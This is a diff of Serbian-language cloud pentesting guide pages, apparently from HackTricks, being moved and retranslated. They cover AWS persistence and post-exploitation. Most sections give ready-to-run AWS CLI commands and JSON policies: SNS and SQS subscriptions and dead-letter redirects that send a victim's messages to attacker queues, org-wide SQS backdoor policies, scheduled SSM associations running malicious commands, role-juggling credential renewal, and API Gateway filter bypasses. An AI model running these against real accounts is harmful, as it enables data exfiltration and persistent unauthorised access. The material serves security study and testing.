+- Osigurajte da politika SQS reda napadača dozvoljava `sqs:SendMessage` sa žrtvinog `TopicArn` (Condition `aws:SourceArn` jednako `TopicArn`).
+- Kreirajte SQS pretplatu na topic:
+
+```bash
+aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
+```
+
+- Podesite filter da radi na MessageBody i da se poklapa samo sa `secret=true`:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
+```
+
+- Opcionalna prikrivenost: omogućite RawMessageDelivery tako da samo raw payload stigne u prijemnik:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
+```
+
+- Verifikacija: objavite dve poruke i potvrdite da je samo prva isporučena u red napadača. Primer payload-a:
+
+```json
+{"secret":"true","data":"exfil"}
+{"secret":"false","data":"benign"}
+```
+
+- Čišćenje: otkažite pretplatu i obrišite SQS red napadača ako je kreiran za testiranje persistencije.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md

@@ -1,37 +0,0 @@
-# AWS - SQS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Za više informacija pogledajte:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### Korišćenje politike resursa
-
-U SQS-u morate naznačiti sa IAM politikom **ko ima pristup za čitanje i pisanje**. Moguće je naznačiti spoljne naloge, ARN uloga, ili **čak "\*"**.\
-Sledeća politika daje svima u AWS-u pristup svemu u redu pod nazivom **MyTestQueue**:
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__owner_statement",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": ["SQS:*"],
-"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
-}
-]
-}
-```
-> [!NOTE]
-> Možete čak **pokrenuti Lambda funkciju u nalogu napadača svaki put kada se nova poruka** stavi u red (morali biste je ponovo staviti) na neki način. Za ovo pratite ove upute: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md

@@ -0,0 +1,47 @@
+# AWS - SQS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### Korišćenje resource policy
+
+U SQS morate odrediti IAM policy-jem **ko ima pristup za čitanje i pisanje**. Moguće je navesti spoljne naloge, ARN uloga, ili **čak "\*"**.\
+Sledeća politika daje svima u AWS pristup svemu u redu (queue) nazvanom **MyTestQueue**:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
+}
+```
+> [!NOTE]
+> Možete čak i **trigger a Lambda in the attacker's account every time a new message** svaki put kada se novi message stavi u queue (trebalo bi ga ponovo re-put). Za ovo pratite ova uputstva: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+ 
+### Više SQS Persistence Techniques
+
+{{#ref}}
+aws-sqs-dlq-backdoor-persistence.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-orgid-policy-backdoor.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md

@@ -0,0 +1,71 @@
+# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Iskoristite SQS Dead-Letter Queues (DLQs) za tajno preusmeravanje podataka iz victim source queue tako što ćete podesiti njen RedrivePolicy da pokazuje na queue koji kontroliše napadač. Sa niskim maxReceiveCount i izazivanjem ili čekanjem na uobičajene greške u obradi, poruke se automatski preusmeravaju u attacker DLQ bez menjanja producers ili Lambda event source mappings.
+
+## Zloupotrebljene dozvole
+- sqs:SetQueueAttributes na victim source queue (za postavljanje RedrivePolicy)
+- sqs:SetQueueAttributes na attacker DLQ (za postavljanje RedriveAllowPolicy)
+- Opcionalno za ubrzanje: sqs:ReceiveMessage na source queue
+- Opcionalno za podešavanje: sqs:CreateQueue, sqs:SendMessage
+
+## Tok u istom nalogu (allowAll)
+
+Priprema (nalog napadača ili kompromitovani principal):
+```bash
+REGION=us-east-1
+# 1) Create attacker DLQ
+ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
+ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Allow any same-account source queue to use this DLQ
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
+```
+Izvršavanje (pokrenuto kao kompromitovani principal u nalogu žrtve):
+```bash
+# 3) Point victim source queue to attacker DLQ with low retries
+VICTIM_SRC_URL=<victim source queue url>
+ATTACKER_DLQ_ARN=<attacker dlq arn>
+aws sqs set-queue-attributes \
+--queue-url "$VICTIM_SRC_URL" --region $REGION \
+--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
+```
+Ubrzanje (opciono):
+```bash
+# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
+for i in {1..2}; do \
+aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
+--max-number-of-messages 10 --visibility-timeout 0; \
+done
+```
+Validacija:
+```bash
+# 5) Confirm messages appear in attacker DLQ
+aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--max-number-of-messages 10 --attribute-names All --message-attribute-names All
+```
+Primer dokaza (Atributi uključuju DeadLetterQueueSourceArn):
+```json
+{
+"MessageId": "...",
+"Body": "...",
+"Attributes": {
+"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
+}
+}
+```
+## Cross-Account Variant (byQueue)
+Podesite RedriveAllowPolicy na attacker DLQ tako da dozvoli samo određene victim source queue ARNs:
+```bash
+VICTIM_SRC_ARN=<victim source queue arn>
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
+```
+## Impact
+- Diskretna, trajna data exfiltration/persistence putem automatskog preusmeravanja neuspelih poruka sa victim SQS source queue u attacker-controlled DLQ, uz minimalnu operacionalnu buku i bez promena kod producers ili Lambda mappings.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md

@@ -0,0 +1,38 @@
+# AWS - SQS OrgID Policy Backdoor
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Iskoristite resource policy SQS reda da tiho dodelite Send, Receive i ChangeMessageVisibility bilo kojem principalu koji pripada ciljnoj AWS Organization koristeći uslov aws:PrincipalOrgID. Ovo stvara skrivenu putanju ograničenu na organizaciju (org-scoped) koja često zaobilazi kontrole koje gledaju samo eksplicitne account ili role ARNs ili star principals.
+
+### Backdoor policy (prikačite na SQS queue policy)
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OrgScopedBackdoor",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"sqs:ReceiveMessage",
+"sqs:SendMessage",
+"sqs:ChangeMessageVisibility",
+"sqs:GetQueueAttributes"
+],
+"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
+"Condition": {
+"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
+}
+}
+]
+}
+```
+### Koraci
+- Nabavite ID organizacije pomoću AWS Organizations API.
+- Dohvatite ARN SQS queue-a i postavite queue policy uključujući gore navedenu izjavu.
+- Sa bilo kog principal-a koji pripada toj organizaciji, pošaljite i primite poruku u SQS queue-u da biste potvrdili pristup.
+
+### Uticaj
+- Skriveni pristup u celoj organizaciji za čitanje i pisanje SQS poruka sa bilo kog naloga u navedenoj AWS Organization.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md

@@ -1,27 +0,0 @@
-# AWS - SSM Persistencija
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SSM
-
-Za više informacija pogledajte:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
-{{#endref}}
-
-### Korišćenje ssm:CreateAssociation za persistenciju
-
-Napadač sa dozvolom **`ssm:CreateAssociation`** može kreirati State Manager Association kako bi automatski izvršavao komande na EC2 instancama koje upravlja SSM. Ove asocijacije se mogu konfigurisati da se izvršavaju u fiksnim intervalima, što ih čini pogodnim za persistenciju sličnu backdoor-u bez interaktivnih sesija.
-```bash
-aws ssm create-association \
---name SSM-Document-Name \
---targets Key=InstanceIds,Values=target-instance-id \
---parameters commands=["malicious-command"] \
---schedule-expression "rate(30 minutes)" \
---association-name association-name
-```
-> [!NOTE]
-> Ova metoda postojanosti funkcioniše sve dok je EC2 instanca upravljana od strane Systems Manager-a, SSM agent radi, i napadač ima dozvolu da kreira asocijacije. Ne zahteva interaktivne sesije ili eksplicitne ssm:SendCommand dozvole. **Važno:** Parametar `--schedule-expression` (npr., `rate(30 minutes)`) mora poštovati minimalni interval AWS-a od 30 minuta. Za trenutnu ili jednokratnu izvršenje, potpuno izostavite `--schedule-expression` — asocijacija će se izvršiti jednom nakon kreiranja.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md

@@ -0,0 +1,27 @@
+# AWS - SSM Perssitence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SSM
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+{{#endref}}
+
+### Using ssm:CreateAssociation for persistence
+
+Napadač sa dozvolom **`ssm:CreateAssociation`** može kreirati State Manager Association koja automatski izvršava komande na EC2 instancama kojima upravlja SSM. Ove associations mogu se konfigurisati da se pokreću u fiksnim intervalima, što ih čini pogodnim za backdoor-like persistence bez interaktivnih sesija.
+```bash
+aws ssm create-association \
+--name SSM-Document-Name \
+--targets Key=InstanceIds,Values=target-instance-id \
+--parameters commands=["malicious-command"] \
+--schedule-expression "rate(30 minutes)" \
+--association-name association-name
+```
+> [!NOTE]
+> Ovaj metod perzistencije radi sve dok je EC2 instanca upravljana od strane Systems Manager, SSM agent radi, i napadač ima dozvolu za kreiranje associations. Ne zahteva interaktivne sesije niti eksplicitne `ssm:SendCommand` dozvole. **Važno:** Parametar `--schedule-expression` (npr. `rate(30 minutes)`) mora poštovati minimalni interval AWS-a od 30 minuta. Za neposredno ili jednokratno izvršenje, potpuno izostavite `--schedule-expression` — association će se izvršiti jednom nakon kreiranja.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md

@@ -1,21 +0,0 @@
-# AWS - Step Functions Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-Za više informacija pogledajte:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### Backdooring step funkcija
-
-Backdoor-ujte step funkciju da izvršava bilo koju tehniku persistencije tako da svaki put kada se izvrši, pokreće vaše maliciozne korake.
-
-### Backdooring aliasa
-
-Ako AWS nalog koristi alias-e za pozivanje step funkcija, bilo bi moguće modifikovati alias da koristi novu backdoor-ovanu verziju step funkcije.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md

@@ -0,0 +1,21 @@
+# AWS - Step Functions Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### Step function Backdooring
+
+Backdoor a step function da bi izvršavala bilo koji persistence trik, tako da će se svaki put kada se izvrši pokrenuti vaši maliciozni koraci.
+
+### Backdooring aliases
+
+Ako AWS nalog koristi aliases za pozivanje step functions, moguće je izmeniti alias da koristi novu backdoored verziju step function.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md

@@ -1,36 +1,36 @@
 # AWS - STS Persistence
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
-Za više informacija pristupite:
+Za više informacija pogledajte:
 
 {{#ref}}
-../aws-services/aws-sts-enum.md
+../../aws-services/aws-sts-enum.md
 {{#endref}}
 
 ### Assume role token
 
-Privremeni tokeni se ne mogu listati, tako da održavanje aktivnog privremenog tokena predstavlja način za održavanje postojanosti.
+Privremeni tokeni se ne mogu izlistati, tako da održavanje aktivnog privremenog tokena predstavlja način za persistence.
 
 <pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
 
-# Sa MFA
+# With MFA
 aws sts get-session-token \
 --serial-number <mfa-device-name> \
 --token-code <code-from-token>
 
-# Ime hardverskog uređaja obično je broj sa zadnje strane uređaja, kao što je GAHT12345678
-<strong># Ime SMS uređaja je ARN u AWS, kao što je arn:aws:iam::123456789012:sms-mfa/username
-</strong># Ime virtuelnog uređaja je ARN u AWS, kao što je arn:aws:iam::123456789012:mfa/username
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
 </code></pre>
 
 ### Role Chain Juggling
 
-[**Role chaining je priznata AWS funkcija**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), često korišćena za održavanje stealth postojanosti. Uključuje sposobnost da **preuzmete ulogu koja zatim preuzima drugu**, potencijalno se vraćajući na inicijalnu ulogu na **cikličan način**. Svaki put kada se preuzme uloga, polje isteka kredencijala se osvežava. Kao rezultat, ako su dve uloge konfigurisane da međusobno preuzimaju jedna drugu, ova postavka omogućava večnu obnovu kredencijala.
+[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), često se koristi za održavanje stealth persistence-a. Podrazumeva mogućnost da **assume a role which then assumes another**, pri čemu se potencijalno može vratiti na početnu ulogu u **cyclical manner**. Svaki put kada se uloga preuzme, polje za isteka credentials-a se osvežava. Kao posledica, ako su dve uloge konfigurisane da međusobno assume-ju jedna drugu, ova postavka omogućava stalno obnavljanje credentials-a.
 
-Možete koristiti ovaj [**alat**](https://github.com/hotnops/AWSRoleJuggler/) da nastavite sa prebacivanjem uloga:
+You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
 ```bash
 ./aws_role_juggler.py -h
 usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
@@ -40,11 +40,11 @@ optional arguments:
 -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
 ```
 > [!CAUTION]
-> Imajte na umu da [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) skripta iz tog Github repozitorijuma ne pronalazi sve načine na koje se lanac uloga može konfigurisati.
+> Imajte na umu da skripta [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) iz tog Github repozitorijuma ne pronalazi sve načine na koje se lanac uloga može konfigurisati.
 
 <details>
 
-<summary>Kod za izvođenje Role Juggling iz PowerShell-a</summary>
+<summary>Kod za izvođenje Role Juggling pomoću PowerShell-a</summary>
 ```bash
 # PowerShell script to check for role juggling possibilities using AWS CLI
 
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
 ```
 </details>
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md

@@ -1,46 +1,46 @@
 # AWS - API Gateway Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## API Gateway
 
 Za više informacija pogledajte:
 
 {{#ref}}
-../aws-services/aws-api-gateway-enum.md
+../../aws-services/aws-api-gateway-enum.md
 {{#endref}}
 
-### Pristup neizloženim API-ima
+### Access unexposed APIs
 
-Možete kreirati endpoint na [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) sa servisom `com.amazonaws.us-east-1.execute-api`, izložiti endpoint u mreži kojoj imate pristup (potencijalno putem EC2 mašine) i dodeliti sigurnosnu grupu koja omogućava sve veze.\
-Zatim, sa EC2 mašine moći ćete da pristupite endpoint-u i tako pozovete gateway API koji prethodno nije bio izložen.
+Možete kreirati endpoint u [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) sa servisom `com.amazonaws.us-east-1.execute-api`, izložiti endpoint u mreži kojoj imate pristup (potencijalno preko EC2 mašine) i dodeliti security group koja dozvoljava sve konekcije.\
+Zatim, sa EC2 mašine bićete u mogućnosti da pristupite endpointu i samim tim pozovete gateway API koji ranije nije bio izložen.
 
-### Obilaženje Request body passthrough
+### Bypass Request body passthrough
 
-Ova tehnika je pronađena u [**ovom CTF izveštaju**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+Ova tehnika je pronađena u [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
 
-Kao što je navedeno u [**AWS dokumentaciji**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) u sekciji `PassthroughBehavior`, podrazumevano, vrednost **`WHEN_NO_MATCH`**, prilikom provere **Content-Type** header-a zahteva, će proslediti zahtev na backend bez transformacije.
+Kao što je naznačeno u [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) u sekciji `PassthroughBehavior`, po defaultu, vrednost **`WHEN_NO_MATCH`**, prilikom provere **Content-Type** hedera zahteva, proslediće zahtev ka back end-u bez transformacije.
 
-Stoga, u CTF-u je API Gateway imao integracioni šablon koji je **sprečavao da se zastavica exfiltrira** u odgovoru kada je zahtev poslat sa `Content-Type: application/json`:
+Dakle, u CTF-u API Gateway je imao integration template koji je **preventing the flag from being exfiltrated** u odgovoru kada je zahtev poslat sa `Content-Type: application/json`:
 ```yaml
 RequestTemplates:
 application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
 ```
-Međutim, slanje zahteva sa **`Content-type: text/json`** bi sprečilo taj filter.
+Međutim, slanje zahteva sa **`Content-type: text/json`** bi onemogućilo taj filter.
 
-Na kraju, pošto je API Gateway dozvoljavao samo `Get` i `Options`, bilo je moguće poslati proizvoljnu dynamoDB upit bez ikakvih ograničenja slanjem POST zahteva sa upitom u telu i korišćenjem header-a `X-HTTP-Method-Override: GET`:
+Na kraju, pošto je API Gateway dozvoljavao samo `Get` i `Options`, bilo je moguće poslati proizvoljan dynamoDB upit bez ikakvog ograničenja slanjem POST zahteva sa upitom u telu i koristeći header `X-HTTP-Method-Override: GET`:
 ```bash
 curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
 ```
 ### Usage Plans DoS
 
-U sekciji **Enumeration** možete videti kako da **dobijete plan korišćenja** ključeva. Ako imate ključ i on je **ograničen** na X korišćenja **mesečno**, možete **samo da ga koristite i izazovete DoS**.
+U sekciji **Enumeration** možeš videti kako da **dohvatiš usage plan** ključeva. Ako imaš key i on je **ograničen** na X upotreba **po mesecu**, možeš ga jednostavno **koristiti i izazvati DoS**.
 
-**API Key** samo treba da bude **uključen** unutar **HTTP header-a** nazvanog **`x-api-key`**.
+The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
 
 ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
 
-Napadač sa dozvolama `apigateway:UpdateGatewayResponse` i `apigateway:CreateDeployment` može **modifikovati postojeći Gateway Response da uključi prilagođene header-e ili šablone odgovora koji otkrivaju osetljive informacije ili izvršavaju zlonamerne skripte**.
+Napadač sa permisijama `apigateway:UpdateGatewayResponse` i `apigateway:CreateDeployment` može **izmeniti postojeći Gateway Response da uključi custom headers ili response templates koji leak osetljive informacije ili izvrše maliciozne skripte**.
 ```bash
 API_ID="your-api-id"
 RESPONSE_TYPE="DEFAULT_4XX"
@@ -51,14 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Potencijalni uticaj**: Curjenje osetljivih informacija, izvršavanje malicioznih skripti ili neovlašćen pristup API resursima.
+**Potential Impact**: Otkrivanje osetljivih informacija, izvršavanje zlonamernih skripti ili neovlašćen pristup API resursima.
 
-> [!NAPOMENA]
-> Potrebno testiranje
+> [!NOTE]
+> Potrebno je testiranje
 
 ### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
 
-Napadač sa dozvolama `apigateway:UpdateStage` i `apigateway:CreateDeployment` može **modifikovati postojeću API Gateway fazu da preusmeri saobraćaj na drugu fazu ili promeni postavke keširanja kako bi stekao neovlašćen pristup keširanim podacima**.
+Napadač sa permisijama `apigateway:UpdateStage` i `apigateway:CreateDeployment` može **izmeniti postojeći API Gateway stage da preusmeri saobraćaj na drugi stage ili promeni podešavanja keširanja kako bi dobio neovlašćen pristup keširanim podacima**.
 ```bash
 API_ID="your-api-id"
 STAGE_NAME="Prod"
@@ -71,12 +71,12 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
 **Potencijalni uticaj**: Neovlašćen pristup keširanim podacima, ometanje ili presretanje API saobraćaja.
 
-> [!NAPOMENA]
+> [!NOTE]
 > Potrebno testiranje
 
 ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
 
-Napadač sa dozvolama `apigateway:PutMethodResponse` i `apigateway:CreateDeployment` može **modifikovati odgovor metode postojećeg API Gateway REST API metoda da uključuje prilagođene zaglavlja ili šablone odgovora koji otkrivaju osetljive informacije ili izvršavaju zlonamerne skripte**.
+Napadač sa dozvolama `apigateway:PutMethodResponse` i `apigateway:CreateDeployment` može **izmeniti odgovor metode postojećeg API Gateway REST API metoda kako bi uključio prilagođena zaglavlja ili predloške odgovora koji leak osetljive informacije ili izvršavaju maliciozne skripte**.
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
@@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Potencijalni uticaj**: Curjenje osetljivih informacija, izvršavanje malicioznih skripti ili neovlašćen pristup API resursima.
+**Potencijalni uticaj**: Otkrivanje osetljivih informacija, izvršavanje zlonamernih skripti ili neovlašćen pristup API resursima.
 
-> [!NAPOMENA]
+> [!NOTE]
 > Potrebno testiranje
 
 ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
 
-Napadač sa dozvolama `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` može **modifikovati podešavanja API Gateway REST API-a da onemogući logovanje ili promeni minimalnu TLS verziju, potencijalno slabeći bezbednost API-a**.
+Napadač sa dozvolama `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` može **izmeniti podešavanja API Gateway REST API-ja kako bi onemogućio beleženje ili promenio minimalnu verziju TLS-a, potencijalno oslabljujući bezbednost API-ja**.
 ```bash
 API_ID="your-api-id"
 
@@ -106,14 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Potencijalni uticaj**: Slabljenje bezbednosti API-ja, što potencijalno omogućava neovlašćen pristup ili izlaganje osetljivih informacija.
+**Potencijalni uticaj**: Oslabljivanje sigurnosti API-ja, potencijalno omogućavanje neovlašćenog pristupa ili izlaganje osetljivih informacija.
 
-> [!NAPOMENA]
+> [!NOTE]
 > Potrebno testiranje
 
 ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
 
-Napadač sa dozvolama `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` i `apigateway:CreateUsagePlanKey` može **kreirati nove API ključeve, povezati ih sa planovima korišćenja, a zatim koristiti ove ključeve za neovlašćen pristup API-jima**.
+Napadač sa dozvolama `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, i `apigateway:CreateUsagePlanKey` može **kreirati nove API keys, povezati ih sa usage plans, i zatim koristiti te ključeve za neovlašćen pristup API-ima**.
 ```bash
 # Create a new API key
 API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -124,9 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
 # Associate the API key with the usage plan
 aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
 ```
-**Potencijalni uticaj**: Neovlašćen pristup API resursima, zaobilaženje bezbednosnih kontrola.
+**Potential Impact**: Neovlašćen pristup API resursima, zaobilaženje bezbednosnih kontrola.
 
-> [!NAPOMENA]
+> [!NOTE]
 > Potrebno testiranje
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md

@@ -1,31 +0,0 @@
-# AWS - CloudFront Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFront
-
-Za više informacija pogledajte:
-
-{{#ref}}
-../aws-services/aws-cloudfront-enum.md
-{{#endref}}
-
-### Man-in-the-Middle
-
-Ovaj [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) predlaže nekoliko različitih scenarija gde bi se **Lambda** mogla dodati (ili modifikovati ako se već koristi) u **komunikaciji kroz CloudFront** sa ciljem **krađe** korisničkih informacija (kao što je sesijski **kolačić**) i **modifikacije** **odgovora** (ubacivanje malicioznog JS skripta).
-
-#### scenario 1: MitM gde je CloudFront konfigurisana da pristupa nekom HTML-u iz bucket-a
-
-- **Kreirajte** malicioznu **funkciju**.
-- **Povežite** je sa CloudFront distribucijom.
-- Postavite **tip događaja na "Viewer Response"**.
-
-Pristupajući odgovoru, mogli biste ukrasti korisnički kolačić i ubaciti maliciozni JS.
-
-#### scenario 2: MitM gde CloudFront već koristi lambda funkciju
-
-- **Modifikujte kod** lambda funkcije da biste ukrali osetljive informacije.
-
-Možete proveriti [**tf kod za rekreiranje ovih scenarija ovde**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md

@@ -0,0 +1,31 @@
+# AWS - CloudFront Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFront
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-cloudfront-enum.md
+{{#endref}}
+
+### Man-in-the-Middle
+
